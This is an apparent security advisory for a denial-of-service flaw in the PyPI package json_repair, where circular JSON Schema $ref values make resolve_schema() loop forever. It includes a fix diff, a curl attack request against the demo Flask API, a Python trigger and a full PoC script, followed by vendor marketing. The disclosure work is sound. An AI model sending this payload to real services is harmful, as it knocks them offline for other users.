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GHSA-xf7x-x43h-rpqh

HIGH

json_repair: Circular JSON Schema `$ref` causes unbounded CPU DoS

Published
Jul 13, 2026
Updated
Jul 13, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected
🐍json-repair

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Circular JSON Schema $ref causes unbounded CPU DoS in json_repair

Summary

SchemaRepairer.resolve_schema() in json_repair follows JSON Schema $ref pointers in an unbounded while loop without any cycle detection. An attacker who can supply a schema containing a self-referencing $ref (e.g., via the demo Flask API or any application that passes untrusted input to loads(..., schema=...)), can cause a worker process to spin indefinitely on CPU, resulting in a complete denial of service. No authentication is required against the public demo API. The vulnerability is confirmed reproducible at CVSS 7.5 (High).

Details

SchemaRepairer.resolve_schema() at src/json_repair/schema_repair.py:184–190 resolves $ref chains using a plain while loop:

# src/json_repair/schema_repair.py:184-190
schema_dict = cast("dict[str, Any]", schema)
while "$ref" in schema_dict:
    ref = schema_dict["$ref"]
    resolved = self._resolve_ref(ref)
    if isinstance(resolved, bool):
        return resolved
    schema_dict = resolved

_resolve_ref() at src/json_repair/schema_repair.py:654–665 always resolves references relative to self.root_schema, which is initialised from the caller-supplied schema (src/json_repair/schema_repair.py:130). When the schema contains a circular reference such as:

{"$ref": "#/definitions/a", "definitions": {"a": {"$ref": "#/definitions/a"}}}

_resolve_ref() returns the same dict object on every iteration, so "$ref" in schema_dict is always True and the loop never terminates.

The vulnerable sink is reachable without authentication through the demo Flask API:

# docs/app.py:14, 21-36
data = request.get_json()
schema = data.get("schema")
if schema is not None and not isinstance(schema, (dict, bool)):
    raise ValueError("schema must be a JSON object or boolean.")
...
if schema is not None:
    loads_kwargs["schema"] = schema
parsed_json = loads(malformed_json, **loads_kwargs)

The only guard is a top-level isinstance(dict, bool) check; there is no $ref depth limit, no visited-set, and no timeout enforced by the library. The full data-flow path is:

  1. docs/app.py:14request.get_json() reads the attacker-controlled HTTP body.
  2. docs/app.py:21–23schema is extracted; only dict/bool type check applied.
  3. docs/app.py:33–36 — schema is forwarded verbatim to loads().
  4. src/json_repair/json_repair.py:145–148schema_from_input(schema) instantiates SchemaRepairer.
  5. src/json_repair/json_repair.py:160repairer.is_valid() calls resolve_schema(), triggering the infinite loop.
  6. src/json_repair/schema_repair.py:184–190 — unbounded while "$ref" in schema_dict loop (sink).
  7. src/json_repair/schema_repair.py:654–665_resolve_ref() returns the same object on every call.

Recommended fix:

--- a/src/json_repair/schema_repair.py
+++ b/src/json_repair/schema_repair.py
     def resolve_schema(self, schema: object | None) -> dict[str, Any] | bool:
         ...
-        schema_dict = cast("dict[str, Any]", schema)
+        schema_dict = cast("dict[str, Any]", schema)
+        seen_schema_ids: set[int] = set()
         while "$ref" in schema_dict:
             ref = schema_dict["$ref"]
+            if not isinstance(ref, str):
+                raise SchemaDefinitionError("$ref must be a string.")
+            schema_id = id(schema_dict)
+            if schema_id in seen_schema_ids:
+                raise SchemaDefinitionError(f"Circular $ref detected: {ref}")
+            seen_schema_ids.add(schema_id)
             resolved = self._resolve_ref(ref)
             if isinstance(resolved, bool):
                 return resolved
             schema_dict = resolved
         return schema_dict

PoC

Environment setup:

# Clone the affected version
git clone https://github.com/mangiucugna/json_repair.git
git -C json_repair checkout 0015c74c01bdafe4bb7435780657501741c2a5f7

# Install dependencies
pip install flask flask-cors jsonschema pydantic
pip install -e json_repair/

# Start the demo API
PYTHONPATH=json_repair/src flask --app json_repair/docs/app run --host=127.0.0.1 --port=5005

Alternatively, use the provided Docker image:

FROM python:3.11-slim
WORKDIR /app
COPY repo/ /app/repo/
RUN pip install --no-cache-dir flask flask-cors jsonschema pydantic && \
    pip install --no-cache-dir -e /app/repo/
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]
docker build -t vuln001-json-repair -f vuln-001/Dockerfile .
docker run --rm vuln001-json-repair

HTTP attack request (demo API):

timeout 5 curl -sS -X POST http://127.0.0.1:5005/api/repair-json \
  -H 'Content-Type: application/json' \
  --data '{"malformedJSON":"{}","schema":{"$ref":"#/definitions/a","definitions":{"a":{"$ref":"#/definitions/a"}}}}'
# Expected: no response before timeout; curl exits with code 124

Direct library attack:

timeout 5 python3 - <<'PY'
from json_repair import loads
schema = {"$ref": "#/definitions/a", "definitions": {"a": {"$ref": "#/definitions/a"}}}
print(loads("{}", schema=schema))
PY
# Expected: process killed after 5 s; exit code 124

Observed results (from Docker-based dynamic reproduction):

  • Baseline (valid schema {"type":"object","properties":{"name":{"type":"string"}}}): completed in 0.261 s.
  • Attack (circular $ref schema): timed out after 5.01 s — process killed; infinite loop confirmed.

Impact

This is an unauthenticated denial-of-service vulnerability. Any single HTTP request carrying a circular $ref schema hangs the Flask worker process indefinitely, making the service unavailable to all other users until the process is killed or the server is restarted. Because the public demo API (docs/app.py) accepts the schema field from the request body without authentication and passes it directly to loads(), remote attackers can exploit this with a trivial one-liner.

Beyond the demo API, any application that exposes json_repair.loads(..., schema=<user-controlled>) to untrusted callers is equally affected. The vulnerability requires no special privileges, produces no useful output for the attacker (confidentiality and integrity are unaffected), and is deterministically reproducible.

Reproduction artifacts

Dockerfile

FROM python:3.11-slim

WORKDIR /app

# Copy the vulnerable json_repair repository (build context is the report root)
COPY repo/ /app/repo/

# Install Flask demo API dependencies and schema extras
RUN pip install --no-cache-dir \
        flask \
        flask-cors \
        jsonschema \
        pydantic && \
    pip install --no-cache-dir -e /app/repo/

# Copy the proof-of-concept script
COPY vuln-001/poc.py /app/poc.py

CMD ["python3", "/app/poc.py"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: Circular JSON Schema $ref causes unbounded CPU DoS
CWE-835 — Loop with Unreachable Exit Condition

Affected: json_repair <= 0.59.10 (commit 0015c74)
Sink:     src/json_repair/schema_repair.py:185
          SchemaRepairer.resolve_schema() while loop follows $ref without cycle detection.

Attack schema:
    {"$ref": "#/definitions/a", "definitions": {"a": {"$ref": "#/definitions/a"}}}

When passed to loads(..., schema=<above>), resolve_schema() enters an infinite loop
because _resolve_ref() always returns the same dict object from root_schema.

Verdict logic:
  - Baseline (valid schema) must complete in < TIMEOUT seconds.
  - Attack (circular $ref) must still be running at TIMEOUT seconds.
  Both conditions together constitute deterministic proof of the vulnerability.
"""

import os
import subprocess
import sys
import tempfile
import time

# Seconds to wait before declaring the attack confirmed (infinite loop)
TIMEOUT_SECONDS = 5

CIRCULAR_SCHEMA = {
    "$ref": "#/definitions/a",
    "definitions": {
        "a": {"$ref": "#/definitions/a"}
    }
}

NORMAL_SCHEMA = {
    "type": "object",
    "properties": {
        "name": {"type": "string"}
    }
}

_RUNNER_TEMPLATE = """\
import sys
sys.path.insert(0, '/app/repo/src')
from json_repair import loads
schema = {schema_repr}
result = loads('{{}}', schema=schema)
print(result)
"""


def run_schema_test(schema: dict, timeout: int) -> tuple[bool, float, str]:
    """
    Run json_repair loads() with the given schema in an isolated subprocess.

    Returns:
        timed_out (bool): True if the process was still running at `timeout` seconds.
        elapsed (float): Wall-clock seconds until completion or kill.
        output (str): stdout/stderr excerpt.
    """
    script_content = _RUNNER_TEMPLATE.format(schema_repr=repr(schema))

    with tempfile.NamedTemporaryFile(mode="w", suffix=".py", delete=False) as fh:
        fh.write(script_content)
        script_path = fh.name

    start = time.monotonic()
    try:
        proc = subprocess.run(
            [sys.executable, script_path],
            timeout=timeout,
            capture_output=True,
            text=True,
        )
        elapsed = time.monotonic() - start
        output = (proc.stdout.strip() or proc.stderr.strip())[:400]
        return False, elapsed, output
    except subprocess.TimeoutExpired:
        elapsed = time.monotonic() - start
        return True, elapsed, f"[no output — process killed after {elapsed:.2f}s]"
    finally:
        os.unlink(script_path)


def main() -> int:
    print("=" * 64)
    print("VULN-001 PoC: Circular $ref JSON Schema DoS")
    print("json_repair SchemaRepairer.resolve_schema() — CWE-835")
    print("=" * 64)

    # --- Test 1: baseline (must complete quickly) ---
    print(f"\n[TEST 1] Baseline — valid schema (expect completion < {TIMEOUT_SECONDS}s)")
    timed_out_baseline, elapsed_baseline, output_baseline = run_schema_test(
        NORMAL_SCHEMA, TIMEOUT_SECONDS
    )
    if timed_out_baseline:
        print(f"  UNEXPECTED TIMEOUT after {elapsed_baseline:.2f}s — environment issue")
        baseline_ok = False
    else:
        print(f"  COMPLETED in {elapsed_baseline:.3f}s  ->  {output_baseline}")
        baseline_ok = True

    # --- Test 2: circular $ref attack (must time out) ---
    print(
        f"\n[TEST 2] Attack — circular $ref schema"
        f" (expect hang > {TIMEOUT_SECONDS}s)"
    )
    print(f"  Schema: {CIRCULAR_SCHEMA}")
    timed_out_attack, elapsed_attack, output_attack = run_schema_test(
        CIRCULAR_SCHEMA, TIMEOUT_SECONDS
    )
    if timed_out_attack:
        print(
            f"  TIMED OUT after {elapsed_attack:.2f}s "
            f"— infinite loop CONFIRMED (VULNERABLE)"
        )
        attack_confirmed = True
    else:
        print(
            f"  Completed in {elapsed_attack:.3f}s  ->  {output_attack}"
            f"\n  (patched or not triggered — check installation)"
        )
        attack_confirmed = False

    # --- Summary ---
    print("\n" + "=" * 64)
    if baseline_ok and attack_confirmed:
        print("VERDICT: PASS")
        print("  Normal schema  : returned in under 1 s")
        print(f"  Circular $ref  : still running after {TIMEOUT_SECONDS}s (killed)")
        print("  Conclusion: resolve_schema() enters an unbounded loop on circular $ref.")
        return 0
    elif not attack_confirmed:
        print("VERDICT: FAIL — circular $ref did not cause an infinite loop")
        print("  The library may already be patched in this build.")
        return 2
    else:
        print("VERDICT: FAIL — baseline test failed; check the environment")
        return 3


if __name__ == "__main__":
    sys.exit(main())

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIjson-repairall versions0.60.1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for json-repair. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update json-repair to 0.60.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xf7x-x43h-rpqh is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-xf7x-x43h-rpqh is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-xf7x-x43h-rpqh. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Circular JSON Schema `$ref` causes unbounded CPU DoS in `json_repair` ### Summary `SchemaRepairer.resolve_schema()` in `json_repair` follows JSON Schema `$ref` pointers in an unbounded `while` loop without any cycle detection. An attacker who can supply a schema containing a self-referencing `$ref` (e.g., via the demo Flask API or any application that passes untrusted input to `loads(..., schema=...)`), can cause a worker process to spin indefinitely on CPU, resulting in a complete denial of service. No authentication is required against the public demo API. The vulnerability is confirmed
O3 Security · Impact-Aware SCA

Is GHSA-xf7x-x43h-rpqh in your dependencies?

O3 detects GHSA-xf7x-x43h-rpqh across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.